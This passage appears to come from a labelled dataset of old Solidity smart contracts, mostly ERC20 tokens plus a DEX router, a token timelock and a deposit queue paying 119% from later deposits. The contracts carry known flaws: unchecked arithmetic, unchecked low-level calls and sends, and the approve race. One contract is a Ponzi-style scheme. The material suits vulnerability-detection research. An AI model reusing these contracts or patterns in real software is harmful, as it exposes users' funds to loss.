pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract EngkusTechResearch is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function EngkusTechResearch(
) {
balances[msg.sender] = 69696969696;
totalSupply = 69696969696;
name = "EngkusTechResearch";
decimals = 0;
symbol = "ETRx";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.25;
contract EtherwaterTest {
address constant private PROMO = 0x014bF153476683dC0A0673325C07EB3342281DC8;
uint constant public PROMO_PERCENT = 6;
uint constant public MULTIPLIER = 119;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 13 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getSingleDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getAllDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BitownToken is StandardToken {
string public name = "Bitown Token";
string public symbol = "BTDC";
address owner;
uint public decimals = 18;
uint public INITIAL_SUPPLY = 10000000000*10**18;
constructor(address _owner) public {
owner = _owner;
totalSupply = INITIAL_SUPPLY;
balances[_owner] = INITIAL_SUPPLY;
}
function changeName(string _name) public {
if (msg.sender == owner)
name = _name;
}
function changeSymbol(string _symbol) public {
if (msg.sender == owner)
symbol = _symbol;
}
function changeNameAndSymbol(string _name,string _symbol) public {
if (msg.sender == owner) {
name = _name;
symbol = _symbol;
}
}
} | 1 |
pragma solidity ^0.4.24;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Erc2Vite {
mapping (address => string) public records;
address public destoryAddr = 0x1111111111111111111111111111111111111111;
uint256 public defaultCode = 203226;
address public viteTokenAddress = 0x0;
address public owner = 0x0;
uint public bindId = 0;
event Bind(uint bindId, address indexed _ethAddr, string _viteAddr, uint256 amount, uint256 _invitationCode);
function Erc2Vite(address _viteTokenAddress, address _owner) {
require(_viteTokenAddress != address(0));
require(_owner != address(0));
viteTokenAddress = _viteTokenAddress;
owner = _owner;
}
function bind(string _viteAddr, uint256 _invitationCode) public {
require(bytes(_viteAddr).length == 55);
var viteToken = Token(viteTokenAddress);
uint256 apprAmount = viteToken.allowance(msg.sender, address(this));
require(apprAmount > 0);
require(viteToken.transferFrom(msg.sender, destoryAddr, apprAmount));
records[msg.sender] = _viteAddr;
if(_invitationCode == 0) {
_invitationCode = defaultCode;
}
emit Bind(
bindId++,
msg.sender,
_viteAddr,
apprAmount,
_invitationCode
);
}
function () public payable {
revert();
}
function destory() public {
require(msg.sender == owner);
selfdestruct(owner);
}
} | 0 |
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner) ;
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract StandardToken is ERC20Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
require ((_value==0) || (allowed[msg.sender][_spender] ==0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract NCSToken is StandardToken, Owned {
string public constant name = "Niu Coin System";
string public constant symbol = "NCS";
string public version = "1.0";
uint256 public constant decimals = 8;
bool public disabled = false;
uint256 public constant MILLION = (10**6 * 10**decimals);
function NCSToken(uint256 _amount) {
totalSupply = 500 * MILLION;
balances[msg.sender] = _amount;
}
function getNCSTotalSupply() external constant returns(uint256) {
return totalSupply;
}
function setDisabled(bool flag) external onlyOwner {
disabled = flag;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(!disabled);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(!disabled);
return super.transferFrom(_from, _to, _value);
}
function kill() external onlyOwner {
selfdestruct(owner);
}
} | 1 |
pragma solidity ^0.4.24;
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenTransferProxy is Ownable {
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
modifier targetAuthorized(address target) {
require(authorized[target]);
_;
}
modifier targetNotAuthorized(address target) {
require(!authorized[target]);
_;
}
mapping (address => bool) public authorized;
address[] public authorities;
event LogAuthorizedAddressAdded(address indexed target, address indexed caller);
event LogAuthorizedAddressRemoved(address indexed target, address indexed caller);
function addAuthorizedAddress(address target)
public
onlyOwner
targetNotAuthorized(target)
{
authorized[target] = true;
authorities.push(target);
emit LogAuthorizedAddressAdded(target, msg.sender);
}
function removeAuthorizedAddress(address target)
public
onlyOwner
targetAuthorized(target)
{
delete authorized[target];
for (uint i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
authorities[i] = authorities[authorities.length - 1];
authorities.length -= 1;
break;
}
}
emit LogAuthorizedAddressRemoved(target, msg.sender);
}
function transferFrom(
address token,
address from,
address to,
uint value)
public
onlyAuthorized
returns (bool)
{
return Token(token).transferFrom(from, to, value);
}
function getAuthorizedAddresses()
public
constant
returns (address[])
{
return authorities;
}
}
interface ExchangeHandler {
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external payable returns (uint256);
function performSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
contract Token {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract TotlePrimary is Ownable {
string public constant CONTRACT_VERSION = "0";
uint256 public constant MAX_EXCHANGE_FEE_PERCENTAGE = 0.01 * 10**18;
bool constant BUY = false;
bool constant SELL = true;
mapping(address => bool) public handlerWhitelist;
address tokenTransferProxy;
struct Tokens {
address[] tokenAddresses;
bool[] buyOrSell;
uint256[] amountToObtain;
uint256[] amountToGive;
}
struct DEXOrders {
address[] tokenForOrder;
address[] exchanges;
address[8][] orderAddresses;
uint256[6][] orderValues;
uint256[] exchangeFees;
uint8[] v;
bytes32[] r;
bytes32[] s;
}
constructor(address proxy) public {
tokenTransferProxy = proxy;
}
function setHandler(address handler, bool allowed) public onlyOwner {
handlerWhitelist[handler] = allowed;
}
function executeOrders(
address[] tokenAddresses,
bool[] buyOrSell,
uint256[] amountToObtain,
uint256[] amountToGive,
address[] tokenForOrder,
address[] exchanges,
address[8][] orderAddresses,
uint256[6][] orderValues,
uint256[] exchangeFees,
uint8[] v,
bytes32[] r,
bytes32[] s
) public payable {
require(
tokenAddresses.length == buyOrSell.length &&
buyOrSell.length == amountToObtain.length &&
amountToObtain.length == amountToGive.length
);
require(
tokenForOrder.length == exchanges.length &&
exchanges.length == orderAddresses.length &&
orderAddresses.length == orderValues.length &&
orderValues.length == exchangeFees.length &&
exchangeFees.length == v.length &&
v.length == r.length &&
r.length == s.length
);
internalOrderExecution(
Tokens(
tokenAddresses,
buyOrSell,
amountToObtain,
amountToGive
),
DEXOrders(
tokenForOrder,
exchanges,
orderAddresses,
orderValues,
exchangeFees,
v,
r,
s
)
);
}
function internalOrderExecution(Tokens tokens, DEXOrders orders) internal {
transferTokens(tokens);
uint256 tokensLength = tokens.tokenAddresses.length;
uint256 ordersLength = orders.tokenForOrder.length;
uint256 etherBalance = msg.value;
uint256 orderIndex = 0;
for(uint256 tokenIndex = 0; tokenIndex < tokensLength; tokenIndex++) {
uint256 amountRemaining = tokens.amountToGive[tokenIndex];
uint256 amountObtained = 0;
while(orderIndex < ordersLength) {
require(tokens.tokenAddresses[tokenIndex] == orders.tokenForOrder[orderIndex]);
require(handlerWhitelist[orders.exchanges[orderIndex]]);
if(amountRemaining > 0) {
if(tokens.buyOrSell[tokenIndex] == BUY) {
require(etherBalance >= amountRemaining);
}
(amountRemaining, amountObtained) = performTrade(
tokens.buyOrSell[tokenIndex],
amountRemaining,
amountObtained,
orders,
orderIndex
);
}
orderIndex = SafeMath.add(orderIndex, 1);
if(orderIndex == ordersLength || orders.tokenForOrder[SafeMath.sub(orderIndex, 1)] != orders.tokenForOrder[orderIndex]) {
break;
}
}
uint256 amountGiven = SafeMath.sub(tokens.amountToGive[tokenIndex], amountRemaining);
require(orderWasValid(amountObtained, amountGiven, tokens.amountToObtain[tokenIndex], tokens.amountToGive[tokenIndex]));
if(tokens.buyOrSell[tokenIndex] == BUY) {
etherBalance = SafeMath.sub(etherBalance, amountGiven);
if(amountObtained > 0) {
require(Token(tokens.tokenAddresses[tokenIndex]).transfer(msg.sender, amountObtained));
}
} else {
etherBalance = SafeMath.add(etherBalance, amountObtained);
if(amountRemaining > 0) {
require(Token(tokens.tokenAddresses[tokenIndex]).transfer(msg.sender, amountRemaining));
}
}
}
if(etherBalance > 0) {
msg.sender.transfer(etherBalance);
}
}
function transferTokens(Tokens tokens) internal {
uint256 expectedEtherAvailable = msg.value;
uint256 totalEtherNeeded = 0;
for(uint256 i = 0; i < tokens.tokenAddresses.length; i++) {
if(tokens.buyOrSell[i] == BUY) {
totalEtherNeeded = SafeMath.add(totalEtherNeeded, tokens.amountToGive[i]);
} else {
expectedEtherAvailable = SafeMath.add(expectedEtherAvailable, tokens.amountToObtain[i]);
require(TokenTransferProxy(tokenTransferProxy).transferFrom(
tokens.tokenAddresses[i],
msg.sender,
this,
tokens.amountToGive[i]
));
}
}
require(expectedEtherAvailable >= totalEtherNeeded);
}
function performTrade(bool buyOrSell, uint256 initialRemaining, uint256 totalObtained, DEXOrders orders, uint256 index)
internal returns (uint256, uint256) {
uint256 obtained = 0;
uint256 remaining = initialRemaining;
require(orders.exchangeFees[index] < MAX_EXCHANGE_FEE_PERCENTAGE);
uint256 amountToFill = getAmountToFill(remaining, orders, index);
if(amountToFill > 0) {
remaining = SafeMath.sub(remaining, amountToFill);
if(buyOrSell == BUY) {
obtained = ExchangeHandler(orders.exchanges[index]).performBuy.value(amountToFill)(
orders.orderAddresses[index],
orders.orderValues[index],
orders.exchangeFees[index],
amountToFill,
orders.v[index],
orders.r[index],
orders.s[index]
);
} else {
require(Token(orders.tokenForOrder[index]).transfer(
orders.exchanges[index],
amountToFill
));
obtained = ExchangeHandler(orders.exchanges[index]).performSell(
orders.orderAddresses[index],
orders.orderValues[index],
orders.exchangeFees[index],
amountToFill,
orders.v[index],
orders.r[index],
orders.s[index]
);
}
}
return (obtained == 0 ? initialRemaining: remaining, SafeMath.add(totalObtained, obtained));
}
function getAmountToFill(uint256 remaining, DEXOrders orders, uint256 index) internal returns (uint256) {
uint256 availableAmount = ExchangeHandler(orders.exchanges[index]).getAvailableAmount(
orders.orderAddresses[index],
orders.orderValues[index],
orders.exchangeFees[index],
orders.v[index],
orders.r[index],
orders.s[index]
);
return Math.min256(remaining, availableAmount);
}
function orderWasValid(uint256 amountObtained, uint256 amountGiven, uint256 amountToObtain, uint256 amountToGive) internal pure returns (bool) {
if(amountObtained > 0 && amountGiven > 0) {
if(amountObtained > amountGiven) {
return SafeMath.div(amountToObtain, amountToGive) <= SafeMath.div(amountObtained, amountGiven);
} else {
return SafeMath.div(amountToGive, amountToObtain) >= SafeMath.div(amountGiven, amountObtained);
}
}
return false;
}
function() public payable {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size > 0);
}
} | 1 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract GLORY is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function GLORY(
) {
balances[msg.sender] = 25000000000000000000000000;
totalSupply = 25000000000000000000000000;
name = "Glory";
decimals = 18;
symbol = "GLORY";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30931200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x81C5077735900861E35D4712C716d6f5578228Ab;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract EWGToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function EWGToken(
) {
balances[msg.sender] = 600000000000000000000000000;
totalSupply = 600000000000000000000000000;
name = "EworldGCoins";
decimals = 18;
symbol = "EWGO";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.18;
contract CoinLib {
address public constant btc = address(0xe98e2830be1a7e4156d656a7505e65d08c67660dc618072422e9c78053c261e9);
address public constant bch = address(0xc157673705e9a7d6253fb36c51e0b2c9193b9b560fd6d145bd19ecdf6b3a873b);
address public constant btg = address(0x4e5f418e667aa2b937135735d3deb218f913284dd429fa56a60a2a8c2d913f6c);
address public constant eth = address(0xaaaebeba3810b1e6b70781f14b2d72c1cb89c0b2b320c43bb67ff79f562f5ff4);
address public constant etc = address(0x49b019f3320b92b2244c14d064de7e7b09dbc4c649e8650e7aa17e5ce7253294);
address public constant ltc = address(0xfdd18b7aa4e2107a72f3310e2403b9bd7ace4a9f01431002607b3b01430ce75d);
address public constant doge = address(0x9a3f52b1b31ae58da40209f38379e78c3a0756495a0f585d0b3c84a9e9718f9d);
address public constant dash = address(0x279c8d120dfdb1ac051dfcfe9d373ee1d16624187fd2ed07d8817b7f9da2f07b);
address public constant xmr = address(0x8f7631e03f6499d6370dbfd69bc9be2ac2a84e20aa74818087413a5c8e085688);
address public constant zec = address(0x85118a02446a6ea7372cee71b5fc8420a3f90277281c88f5c237f3edb46419a6);
address public constant bcn = address(0x333433c3d35b6491924a29fbd93a9852a3c64d3d5b9229c073a047045d57cbe4);
address public constant pivx = address(0xa8b003381bf1e14049ab83186dd79e07408b0884618bc260f4e76ccd730638c7);
address public constant ada = address(0x4e1e6d8aa1ff8f43f933718e113229b0ec6b091b699f7a8671bcbd606da36eea);
address public constant xem = address(0x5f83a7d8f46444571fbbd0ea2d2613ab294391cb1873401ac6090df731d949e5);
address public constant neo = address(0x6dc5790d7c4bfaaa2e4f8e2cd517bacd4a3831f85c0964e56f2743cbb847bc46);
address public constant eos = 0x86Fa049857E0209aa7D9e616F7eb3b3B78ECfdb0;
address[] internal oldSchool = [btc, ltc, eth, dash];
address[] internal btcForks = [btc, bch, btg];
address[] internal smart = [eth, ada, eos, xem];
address[] internal anons = [dash, xmr, zec, bcn];
function getBtcForkCoins() public view returns (address[]) {
return btcForks;
}
function getOldSchoolCoins() public view returns (address[]) {
return oldSchool;
}
function getPrivacyCoins() public view returns (address[]) {
return anons;
}
function getSmartCoins() public view returns (address[]) {
return smart;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SuperOwners {
address public owner1;
address public pendingOwner1;
address public owner2;
address public pendingOwner2;
function SuperOwners(address _owner1, address _owner2) internal {
require(_owner1 != address(0));
owner1 = _owner1;
require(_owner2 != address(0));
owner2 = _owner2;
}
modifier onlySuperOwner1() {
require(msg.sender == owner1);
_;
}
modifier onlySuperOwner2() {
require(msg.sender == owner2);
_;
}
modifier onlySuperOwner() {
require(isSuperOwner(msg.sender));
_;
}
function isSuperOwner(address _addr) public view returns (bool) {
return _addr == owner1 || _addr == owner2;
}
function transferOwnership1(address _newOwner1) onlySuperOwner1 public {
pendingOwner1 = _newOwner1;
}
function transferOwnership2(address _newOwner2) onlySuperOwner2 public {
pendingOwner2 = _newOwner2;
}
function claimOwnership1() public {
require(msg.sender == pendingOwner1);
owner1 = pendingOwner1;
pendingOwner1 = address(0);
}
function claimOwnership2() public {
require(msg.sender == pendingOwner2);
owner2 = pendingOwner2;
pendingOwner2 = address(0);
}
}
contract MultiOwnable is SuperOwners {
mapping (address => bool) public ownerMap;
address[] public ownerHistory;
event OwnerAddedEvent(address indexed _newOwner);
event OwnerRemovedEvent(address indexed _oldOwner);
function MultiOwnable(address _owner1, address _owner2)
SuperOwners(_owner1, _owner2) internal {}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address owner) public view returns (bool) {
return isSuperOwner(owner) || ownerMap[owner];
}
function ownerHistoryCount() public view returns (uint) {
return ownerHistory.length;
}
function addOwner(address owner) onlySuperOwner public {
require(owner != address(0));
require(!ownerMap[owner]);
ownerMap[owner] = true;
ownerHistory.push(owner);
OwnerAddedEvent(owner);
}
function removeOwner(address owner) onlySuperOwner public {
require(ownerMap[owner]);
ownerMap[owner] = false;
OwnerRemovedEvent(owner);
}
}
contract Pausable is MultiOwnable {
bool public paused;
modifier ifNotPaused {
require(!paused);
_;
}
modifier ifPaused {
require(paused);
_;
}
function pause() external onlySuperOwner {
paused = true;
}
function resume() external onlySuperOwner ifPaused {
paused = false;
}
}
contract ERC20 {
uint256 public totalSupply;
